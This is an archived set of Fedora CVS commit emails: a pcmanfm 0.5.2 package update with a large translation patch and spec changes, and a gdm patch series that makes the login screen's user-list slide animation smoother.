 ru.po       |   51 ++++--
 sk.po       |  242 +++++++++++++++++---------------
 sl.po       |   51 ++++--
 sr.po       |   51 ++++--
 sv.po       |   57 ++++---
 tr.po       |   51 ++++--
 uk.po       |   54 ++++---
 ur.po       |   51 ++++--
 ur_PK.po    |   51 ++++--
 vi.po       |   48 ++++--
 zh_CN.po    |   52 ++++---
 zh_TW.po    |   51 ++++--
 47 files changed, 1863 insertions(+), 1254 deletions(-)

--- NEW FILE pcmanfm-0.5.2-update-translations.patch ---
diff -dur pcmanfm-0.5.2/po/af.po pcmanfm/po/af.po
--- pcmanfm-0.5.2/po/af.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/af.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PACKAGE VERSION\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
 "Language-Team: LANGUAGE <LL at li.org>\n"
@@ -122,28 +122,23 @@
 msgid "Move _Up"
 msgstr ""
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr ""
-
-#. Processing: <Name of currently proccesed file>
-#. Processing:
 #. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+msgid "<b>Processing:</b>"
 msgstr ""
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+msgid "<b>Progress:</b>"
 msgstr ""
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
+#: ../data/ui/file_operation.glade.h:5
+msgid "<b>To:</b>"
+msgstr ""
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
 msgstr ""
 
 #: ../data/ui/file_properties.glade.h:1
@@ -1199,6 +1194,23 @@
 msgid "Changing Properties"
 msgstr ""
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr ""
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr ""
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr ""
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr ""
diff -dur pcmanfm-0.5.2/po/ar.po pcmanfm/po/ar.po
--- pcmanfm-0.5.2/po/ar.po	2009-10-25 16:00:24.000000000 +0100
+++ pcmanfm/po/ar.po	2009-10-30 20:45:42.000000000 +0100
@@ -4,7 +4,7 @@
 msgstr ""
 "Project-Id-Version: \n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-10-22 23:44+0200\n"
 "Last-Translator: Ahmad Farghal <ahmad.farghal at gmail.com>\n"
 "Language-Team: doc at arabeyes.org\n"
@@ -143,29 +143,27 @@
 msgid "Move _Up"
 msgstr "???? ??_???"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "?????..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "????????:"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "??????:"
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "???:"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>????????:</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "?????..."
 
 #: ../data/ui/file_properties.glade.h:1
 msgid "<b>File Type:</b>"
@@ -1278,6 +1276,23 @@
 msgid "Changing Properties"
 msgstr "???? ???????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "???:"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "????????:"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "??????:"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "????? ????????"
diff -dur pcmanfm-0.5.2/po/bg.po pcmanfm/po/bg.po
--- pcmanfm-0.5.2/po/bg.po	2009-10-25 16:00:24.000000000 +0100
+++ pcmanfm/po/bg.po	2009-10-30 20:45:42.000000000 +0100
@@ -7,10 +7,11 @@
 msgstr ""
 "Project-Id-Version: pcmanfm\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-10-23 18:34+0200\n"
 "Last-Translator: Rossen Karpuzov <gustav at cointech.net>\n"
-"Language-Team: Mandriva User Group - Bulgaria <mandriva-bg at googlegroups.com>\n"
+"Language-Team: Mandriva User Group - Bulgaria <mandriva-bg at googlegroups."
+"com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
@@ -77,7 +78,6 @@
 "by hand:"
 msgstr ""
 "???? ???????? ???????? ?? ??????? ?????? ??? ???????? ????????? ??? ?? ????: "
-""
 
 #: ../data/ui/appchooserdlg.glade.h:5
 msgid "Set selected application to default action"
@@ -128,33 +128,27 @@
 msgid "Move _Up"
 msgstr "??????????? _??????"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2
-#: ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "??????????..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4
-#: ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
[...5440 lines suppressed...]
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
+#: ../data/ui/file_operation.glade.h:5
+msgid "<b>To:</b>"
+msgstr ""
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
 msgstr ""
 
 #: ../data/ui/file_properties.glade.h:1
@@ -1199,6 +1194,23 @@
 msgid "Changing Properties"
 msgstr ""
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr ""
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr ""
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr ""
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr ""
diff -dur pcmanfm-0.5.2/po/zh_CN.po pcmanfm/po/zh_CN.po
--- pcmanfm-0.5.2/po/zh_CN.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/zh_CN.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PCMan File Manager 0.1\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-06-05 22:57+0800\n"
 "Last-Translator: Careone <zzbusagain at yahoo.com.cn>\n"
 "Language-Team: zh_CN\n"
@@ -129,29 +129,28 @@
 msgid "Move _Up"
 msgstr "????(_U)"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "???..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "?????"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "???"
 
+#
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "??"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>???</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "???..."
 
 #
 #: ../data/ui/file_properties.glade.h:1
@@ -1283,6 +1282,23 @@
 msgid "Changing Properties"
 msgstr "????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "??"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "?????"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "???"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "???????"
diff -dur pcmanfm-0.5.2/po/zh_TW.po pcmanfm/po/zh_TW.po
--- pcmanfm-0.5.2/po/zh_TW.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/zh_TW.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PCMan File Manager 0.1\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-07-26 10:53+0200\n"
 "Last-Translator: ??? <timloo0710 at gmail.com>\n"
 "Language-Team: zh_TW <i18n-translation at lists.linux.net.cn>\n"
@@ -143,29 +143,27 @@
 msgid "Move _Up"
 msgstr "??(_U)"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "???..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "?????"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "???"
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "??"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>???</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "???..."
 
 #: ../data/ui/file_properties.glade.h:1
 msgid "<b>File Type:</b>"
@@ -1265,6 +1263,23 @@
 msgid "Changing Properties"
 msgstr "??????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "??"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "?????"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "???"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "???????"


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	3 Jun 2009 19:31:59 -0000	1.20
+++ .cvsignore	30 Oct 2009 21:04:24 -0000	1.21
@@ -1 +1 @@
-pcmanfm-0.5.1.tar.bz2
+pcmanfm-0.5.2.tar.bz2


Index: pcmanfm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/devel/pcmanfm.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- pcmanfm.spec	24 Jul 2009 19:33:32 -0000	1.31
+++ pcmanfm.spec	30 Oct 2009 21:04:25 -0000	1.32
@@ -2,8 +2,8 @@
 %define		enable_hal	1
 
 Name:		pcmanfm
-Version:	0.5.1
-Release:	2%{?dist}
+Version:	0.5.2
+Release:	1%{?dist}
 Summary:	Extremly fast and lightweight file manager
 
 Group:		User Interface/Desktops
@@ -12,6 +12,11 @@ URL:		http://pcmanfm.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/pcmanfm/%{name}-%{version}.tar.bz2
 Patch0:		pcmanfm-0.5-kill-find-immediately.patch
 Patch1:		pcmanfm-0.5-icon-fallback.patch
+# http://pcmanfm.svn.sourceforge.net/viewvc/pcmanfm/trunk/po/ca.po?r1=902&r2=911
+# without this build will fail due to an invalid po file
+Patch2:		pcmanfm-0.5.2-remove-invalid-trailing-newline.patch
+# udate translations from svn rev 918 to fix untranslated strings introduced in 0.5.2
+Patch3:		pcmanfm-0.5.2-update-translations.patch
 # Sent upstream (sf bug 2313286)
 Patch10:	pcmanfm-0.5-exec-from-non-terminal.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -33,6 +38,8 @@ which features tabbed browsing and user-
 %prep
 %setup -q
 %patch0 -p1 -b .search_hang
+%patch2 -p1 -b .invalid
+%patch3 -p1 -b .updated
 %patch10 -p1 -b .non_terminal
 
 %if 0%{?fedora} >= 10 && 0
@@ -137,6 +144,9 @@ exit 0
 %{_datadir}/mime/packages/*.xml
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.5.2-1
+- Update tp 0.5.2 (fixes sourceforge bug 2883172)
+
 * Sat Jul 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.1-2
 - F-12: Mass rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	3 Jun 2009 19:31:59 -0000	1.20
+++ sources	30 Oct 2009 21:04:25 -0000	1.21
@@ -1 +1 @@
-72daf7c19c66d365b000170d7b254f40  pcmanfm-0.5.1.tar.bz2
+750f89cbe7496e5f4c09e4c5a95dec6e  pcmanfm-0.5.2.tar.bz2



From rstrode at fedoraproject.org  Fri Oct 30 21:09:12 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 30 Oct 2009 21:09:12 +0000 (UTC)
Subject: rpms/gdm/F-12 make-user-list-animation-smoother.patch, NONE,
	1.1 gdm.spec, 1.513, 1.514
Message-ID: <20091030210912.9DF3A11C00E8@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32065

Modified Files:
	gdm.spec 
Added Files:
	make-user-list-animation-smoother.patch 
Log Message:
- Make the user list slide animation smoother


make-user-list-animation-smoother.patch:
 b/gui/simple-greeter/gdm-chooser-widget.c    |    3 -
 b/gui/simple-greeter/gdm-scrollable-widget.c |   19 ++++++-
 b/gui/simple-greeter/gdm-scrollable-widget.h |    2 
 gui/simple-greeter/gdm-chooser-widget.c      |   70 +++------------------------
 gui/simple-greeter/gdm-scrollable-widget.c   |   17 +++++-
 5 files changed, 43 insertions(+), 68 deletions(-)

--- NEW FILE make-user-list-animation-smoother.patch ---
>From 7980049944d064e803522aca8241256a62e90925 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 11:18:13 -0400
Subject: [PATCH 1/6] Fix typo in chooser grow code

---
 gui/simple-greeter/gdm-chooser-widget.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
index cbd5072..9347eee 100644
--- a/gui/simple-greeter/gdm-chooser-widget.c
+++ b/gui/simple-greeter/gdm-chooser-widget.c
@@ -894,7 +894,7 @@ start_grow_animation (GdmChooserWidget *widget)
                 height = get_height_of_screen (widget);
         }
         gdm_scrollable_widget_slide_to_height (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget),
-                                               widget->priv->height_when_grown,
+                                               height,
                                                (GdmScrollableWidgetSlideStepFunc)
                                                on_grow_animation_step, widget,
                                                (GdmScrollableWidgetSlideDoneFunc)
-- 
1.6.5.1


>From e2cde131a24e2933588bed8c741ca14bb007c6eb Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 12:13:32 -0400
Subject: [PATCH 2/6] Don't start grow animation until chooser is loaded

This makes it smoother when first starting up
---
 gui/simple-greeter/gdm-chooser-widget.c |   37 ++----------------------------
 1 files changed, 3 insertions(+), 34 deletions(-)

diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
index 9347eee..1147104 100644
--- a/gui/simple-greeter/gdm-chooser-widget.c
+++ b/gui/simple-greeter/gdm-chooser-widget.c
@@ -92,7 +92,6 @@ struct GdmChooserWidgetPrivate
 
         guint32                  should_hide_inactive_items : 1;
         guint32                  emit_activated_after_resize_animation : 1;
-        guint32                  was_fully_grown : 1;
 
         GdmChooserWidgetPosition separator_position;
         GdmChooserWidgetState    state;
@@ -807,29 +806,12 @@ on_grow_animation_complete (GdmScrollableWidget *scrollable_widget,
 {
         g_assert (widget->priv->state == GDM_CHOOSER_WIDGET_STATE_GROWING);
         widget->priv->state = GDM_CHOOSER_WIDGET_STATE_GROWN;
-        widget->priv->was_fully_grown = TRUE;
         gtk_tree_view_set_enable_search (GTK_TREE_VIEW (widget->priv->items_view), TRUE);
 
         _grab_focus (GTK_WIDGET (widget));
 }
 
 static int
-get_height_of_screen (GdmChooserWidget *widget)
-{
-        GdkScreen    *screen;
-        GdkRectangle  area;
-        int           monitor;
-
-        screen = gtk_widget_get_screen (GTK_WIDGET (widget));
-
-        monitor = gdk_screen_get_monitor_at_window (screen,
-                                                    gdk_screen_get_root_window (screen));
-        gdk_screen_get_monitor_geometry (screen, monitor, &area);
-
-        return area.height;
-}
-
-static int
 get_number_of_on_screen_rows (GdmChooserWidget *widget)
 {
         GtkTreePath *start_path;
@@ -876,7 +858,6 @@ start_grow_animation (GdmChooserWidget *widget)
 {
         int number_of_visible_rows;
         int number_of_rows;
-        int height;
 
         number_of_visible_rows = gtk_tree_model_iter_n_children (GTK_TREE_MODEL (widget->priv->model_sorter), NULL);
         number_of_rows = gtk_tree_model_iter_n_children (GTK_TREE_MODEL (widget->priv->list_store), NULL);
@@ -888,13 +869,8 @@ start_grow_animation (GdmChooserWidget *widget)
 
         set_inactive_items_visible (widget, TRUE);
 
-        if (widget->priv->was_fully_grown) {
-                height = widget->priv->height_when_grown;
-        } else {
-                height = get_height_of_screen (widget);
-        }
         gdm_scrollable_widget_slide_to_height (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget),
-                                               height,
+                                               widget->priv->height_when_grown,
                                                (GdmScrollableWidgetSlideStepFunc)
                                                on_grow_animation_step, widget,
                                                (GdmScrollableWidgetSlideDoneFunc)
@@ -912,7 +888,6 @@ skip_resize_animation (GdmChooserWidget *widget)
                 set_inactive_items_visible (GDM_CHOOSER_WIDGET (widget), TRUE);
                 gtk_tree_view_set_enable_search (GTK_TREE_VIEW (widget->priv->items_view), TRUE);
                 widget->priv->state = GDM_CHOOSER_WIDGET_STATE_GROWN;
-                widget->priv->was_fully_grown = FALSE;
                 _grab_focus (GTK_WIDGET (widget));
         }
 }
@@ -922,7 +897,6 @@ gdm_chooser_widget_grow (GdmChooserWidget *widget)
 {
         if (widget->priv->state == GDM_CHOOSER_WIDGET_STATE_SHRINKING) {
                 gdm_scrollable_widget_stop_sliding (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget));
-                widget->priv->was_fully_grown = FALSE;
         }
 
         gtk_alignment_set (GTK_ALIGNMENT (widget->priv->frame_alignment),
@@ -1233,9 +1207,7 @@ gdm_chooser_widget_size_allocate (GtkWidget     *widget,
         chooser_widget = GDM_CHOOSER_WIDGET (widget);
 
         if (chooser_widget->priv->state == GDM_CHOOSER_WIDGET_STATE_GROWN) {
-                if (chooser_widget->priv->was_fully_grown) {
-                        chooser_widget->priv->height_when_grown = allocation->height;
-                }
+                chooser_widget->priv->height_when_grown = allocation->height;
         }
 }
 
@@ -1801,8 +1773,6 @@ gdm_chooser_widget_init (GdmChooserWidget *widget)
          */
         GTK_WIDGET_SET_FLAGS (widget, GTK_CAN_FOCUS);
 
-        widget->priv->height_when_grown = get_height_of_screen (widget);
-
         gtk_alignment_set_padding (GTK_ALIGNMENT (widget), 0, 0, 0, 0);
 
         add_frame (widget);
@@ -1935,9 +1905,7 @@ gdm_chooser_widget_init (GdmChooserWidget *widget)
                                   gtk_tree_row_reference_free);
 
         add_separator (widget);
-
         queue_column_visibility_update (widget);
-        gdm_chooser_widget_grow (widget);
 }
 
 static void
@@ -2544,5 +2512,6 @@ gdm_chooser_widget_propagate_pending_key_events (GdmChooserWidget *widget)
 void
 gdm_chooser_widget_loaded (GdmChooserWidget *widget)
 {
+        gdm_chooser_widget_grow (widget);
         g_signal_emit (widget, signals[LOADED], 0);
 }
-- 
1.6.5.1


>From 3f707bba808b3484be7380a11aebfadb2bc98ab6 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 14:41:54 -0400
Subject: [PATCH 3/6] Hide user list frame when list is empty.

---
 gui/simple-greeter/gdm-chooser-widget.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
index 1147104..4124195 100644
--- a/gui/simple-greeter/gdm-chooser-widget.c
+++ b/gui/simple-greeter/gdm-chooser-widget.c
@@ -600,9 +600,9 @@ static void
 update_chooser_visibility (GdmChooserWidget *widget)
 {
         if (gdm_chooser_widget_get_number_of_items (widget) > 0) {
-                gtk_widget_show (widget->priv->scrollable_widget);
+                gtk_widget_show (widget->priv->frame);
         } else {
-                gtk_widget_hide (widget->priv->scrollable_widget);
+                gtk_widget_hide (widget->priv->frame);
         }
         g_object_notify (G_OBJECT (widget), "list-visible");
 }
-- 
1.6.5.1


>From 6197ec180d369899bf4b87c5e8adaed62ed3fdeb Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 14:52:04 -0400
Subject: [PATCH 4/6] Dynamically slide destination from step function

This lets us add items or swift directions while the animation is going.
---
 gui/simple-greeter/gdm-chooser-widget.c    |   10 +++++-----
 gui/simple-greeter/gdm-scrollable-widget.c |   19 ++++++++++++++++++-
 gui/simple-greeter/gdm-scrollable-widget.h |    1 +
 3 files changed, 24 insertions(+), 6 deletions(-)

diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
index 4124195..4df03a6 100644
--- a/gui/simple-greeter/gdm-chooser-widget.c
+++ b/gui/simple-greeter/gdm-chooser-widget.c
@@ -97,7 +97,6 @@ struct GdmChooserWidgetPrivate
         GdmChooserWidgetState    state;
 
         double                   active_row_normalized_position;
-        int                      height_when_grown;
 };
 
 enum {
@@ -552,6 +551,7 @@ set_frame_text (GdmChooserWidget *widget,
 static void
 on_shrink_animation_step (GdmScrollableWidget *scrollable_widget,
                           double               progress,
+                          int                 *new_height,
                           GdmChooserWidget    *widget)
 {
         GtkTreePath   *active_row_path;
@@ -839,6 +839,7 @@ get_number_of_on_screen_rows (GdmChooserWidget *widget)
 static void
 on_grow_animation_step (GdmScrollableWidget *scrollable_widget,
                         double               progress,
+                        int                 *new_height,
                         GdmChooserWidget    *widget)
 {
         int number_of_visible_rows;
@@ -851,6 +852,8 @@ on_grow_animation_step (GdmScrollableWidget *scrollable_widget,
                 gdm_scrollable_widget_stop_sliding (scrollable_widget);
                 return;
         }
+
+        *new_height = GTK_BIN (scrollable_widget)->child->requisition.height;
 }
 
 static void
@@ -870,7 +873,7 @@ start_grow_animation (GdmChooserWidget *widget)
         set_inactive_items_visible (widget, TRUE);
 
         gdm_scrollable_widget_slide_to_height (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget),
-                                               widget->priv->height_when_grown,
+                                               GTK_BIN (widget->priv->scrollable_widget)->child->requisition.height,
                                                (GdmScrollableWidgetSlideStepFunc)
                                                on_grow_animation_step, widget,
                                                (GdmScrollableWidgetSlideDoneFunc)
@@ -1206,9 +1209,6 @@ gdm_chooser_widget_size_allocate (GtkWidget     *widget,
 
         chooser_widget = GDM_CHOOSER_WIDGET (widget);
 
-        if (chooser_widget->priv->state == GDM_CHOOSER_WIDGET_STATE_GROWN) {
-                chooser_widget->priv->height_when_grown = allocation->height;
-        }
 }
 
 static gboolean
diff --git a/gui/simple-greeter/gdm-scrollable-widget.c b/gui/simple-greeter/gdm-scrollable-widget.c
index 2c0407d..6d9dc83 100644
--- a/gui/simple-greeter/gdm-scrollable-widget.c
+++ b/gui/simple-greeter/gdm-scrollable-widget.c
@@ -132,9 +132,26 @@ on_animation_tick (GdmScrollableWidgetAnimation *animation,
         gtk_widget_set_size_request (animation->widget, width, height);
 
         if (animation->step_func != NULL) {
+                GdmTimer *timer;
+
+                height = animation->desired_height;
+
+                height -= animation->widget->style->ythickness * 2;
+                height -= GTK_CONTAINER (animation->widget)->border_width * 2;
+
+                timer = g_object_ref (animation->timer);
                 animation->step_func (GDM_SCROLLABLE_WIDGET (animation->widget),
                                       progress,
+                                      &height,
                                       animation->step_func_user_data);
+
+                if (gdm_timer_is_started (timer)) {
+                        height += animation->widget->style->ythickness * 2;
+                        height += GTK_CONTAINER (animation->widget)->border_width * 2;
+
+                        animation->desired_height = height;
+                }
+                g_object_unref (timer);
         }
 }
 
@@ -708,7 +725,7 @@ gdm_scrollable_widget_slide_to_height (GdmScrollableWidget *scrollable_widget,
 
         if (!input_redirected || gdm_scrollable_widget_animations_are_disabled (scrollable_widget)) {
                 if (step_func != NULL) {
-                        step_func (scrollable_widget, 0.0, step_user_data);
+                        step_func (scrollable_widget, 0.0, &height, step_user_data);
                 }
 
                 if (done_func != NULL) {
diff --git a/gui/simple-greeter/gdm-scrollable-widget.h b/gui/simple-greeter/gdm-scrollable-widget.h
index 9b8877e..2241cb1 100644
--- a/gui/simple-greeter/gdm-scrollable-widget.h
+++ b/gui/simple-greeter/gdm-scrollable-widget.h
@@ -40,6 +40,7 @@ typedef struct GdmScrollableWidget GdmScrollableWidget;
 typedef struct GdmScrollableWidgetPrivate GdmScrollableWidgetPrivate;
 typedef void (* GdmScrollableWidgetSlideStepFunc) (GdmScrollableWidget *scrollable_widget,
                                                    double               progress,
+                                                   int                 *new_height,
                                                    gpointer            *user_data);
 typedef void (* GdmScrollableWidgetSlideDoneFunc) (GdmScrollableWidget *scrollable_widget,
                                                    gpointer            *user_data);
-- 
1.6.5.1


